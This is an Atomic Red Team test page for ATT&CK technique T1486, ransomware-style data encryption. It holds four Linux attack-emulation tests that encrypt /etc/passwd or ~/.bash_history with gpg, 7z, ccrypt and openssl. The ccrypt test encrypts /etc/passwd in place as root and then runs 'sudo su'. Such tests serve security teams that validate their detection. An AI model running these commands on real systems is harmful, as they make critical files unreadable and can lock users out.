T1486.md

T1486 - Data Encrypted for Impact

Description from ATT&CK

Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017)

To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares.(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)

In cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1)

Atomic Tests

• Atomic Test #1 - Encrypt files using gpg (Linux)

• Atomic Test #2 - Encrypt files using 7z (Linux)

• Atomic Test #3 - Encrypt files using ccrypt (Linux)

• Atomic Test #4 - Encrypt files using openssl (Linux)

Atomic Test #1 - Encrypt files using gpg (Linux)

Uses gpg to encrypt a file

Supported Platforms: Linux

Inputs:

Name	Description	Type	Default Value
pwd_for_encrypted_file	the password that you want for the encrypted file	String	passwd
encrypted_file_path	path to the encrypted file	Path	/tmp/passwd.gpg
input_file_path	path to the file that you want to encrypt	Path	/etc/passwd
encryption_alg	encryption algorithm of the file	String	AES-256

Attack Commands: Run with bash!

echo "#{pwd_for_encrypted_file}" | $which_gpg --batch --yes --passphrase-fd 0 --cipher-algo #{encryption_alg} -o #{encrypted_file_path} -c #{input_file_path}

Cleanup Commands:

rm #{encrypted_file_path}

Dependencies: Run with bash!

Description: Finds where gpg is located

Check Prereq Commands:

which_gpg=`which gpg` 

Get Prereq Commands:

Atomic Test #2 - Encrypt files using 7z (Linux)

Uses 7z to encrypt a file

Supported Platforms: Linux

Inputs:

Name	Description	Type	Default Value
pwd_for_encrypted_file	the password that you want for the encrypted file	String	passwd
encrypted_file_path	path to the encrypted file	Path	/tmp/passwd.zip
input_file_path	path to the file that you want to encrypt	Path	/etc/passwd

Attack Commands: Run with bash!

$which_7z a -p#{pwd_for_encrypted_file} #{encrypted_file_path} #{input_file_path}

Cleanup Commands:

$which_7z e #{encrypted_file_path}
rm #{encrypted_file_path}

Dependencies: Run with bash!

Description: Finds where 7z is located

Check Prereq Commands:

which_7z=`which 7z` 

Get Prereq Commands:

Atomic Test #3 - Encrypt files using ccrypt (Linux)

Attempts to encrypt data on target systems as root to simulate an inturruption authentication to target system. If root permissions are not available then attempts to encrypt data within user's home directory.

Supported Platforms: Linux

Inputs:

Name	Description	Type	Default Value
cped_file_path	path where you want your copied file to be	Path	/tmp/passwd
root_input_file_path	path to the file that you want to be encrypted if you are root user	Path	/etc/passwd
user_input_file_path	path to file that you want to be encrypted if you are normal user	Path	~/.bash_history
impact_command	command to show impact of encryption	String	sudo su

Attack Commands: Run with bash!

if [[ $USER == "root" ]]; then $which_ccencrypt #{root_input_file_path}; file #{root_input_file_path}.cpt; #{impact_command}; else $which_ccencrypt #{user_input_file_path}; file #{user_input_file_path}.cpt; #{impact_command}; fi

Cleanup Commands:

if [[ $USER == "root" ]]; then mv #{cped_file_path} #{root_input_file_path}; else cp #{cped_file_path} #{user_input_file_path}; fi

Dependencies: Run with bash!

Description: Finds where ccencrypt and ccdecrypt is located and copies input file

Check Prereq Commands:

which_ccencrypt=`which ccencrypt`
which_ccdecrypt=`which ccdecrypt`
if [[ $USER == "root" ]]; then cp #{root_input_file_path} #{cped_file_path}; else cp #{user_input_file_path} #{cped_file_path}; fi 

Get Prereq Commands:

Atomic Test #4 - Encrypt files using openssl (Linux)

Uses openssl to encrypt a file

Supported Platforms: Linux

Inputs:

Name	Description	Type	Default Value
private_key_path	path to the private key	Path	/tmp/key.pem
public_key_path	path to the public key	Path	/tmp/pub.pem
encryption_bit_size	size of the bit of encryption	Integer	2048
encrypted_file_path	path to the encrypted file	Path	/tmp/passwd.zip
input_file_path	path to the file that you want to encrypt	Path	/etc/passwd

Attack Commands: Run with bash!

$which_openssl genrsa -out #{private_key_path} #{encryption_bit_size}
$which_openssl rsa -in #{private_key_path} -pubout -out #{public_key_path}
$which_openssl rsautl -encrypt -inkey #{public_key_path} -pubin -in #{input_file_path} -out #{encrypted_file_path}

Cleanup Commands:

$which_openssl rsautl -decrypt -inkey #{private_key_path} -in #{encrypted_file_path}
rm #{encrypted_file_path}

Dependencies: Run with bash!

Description: Finds where openssl is located

Check Prereq Commands:

which_openssl=`which openssl` 

Get Prereq Commands: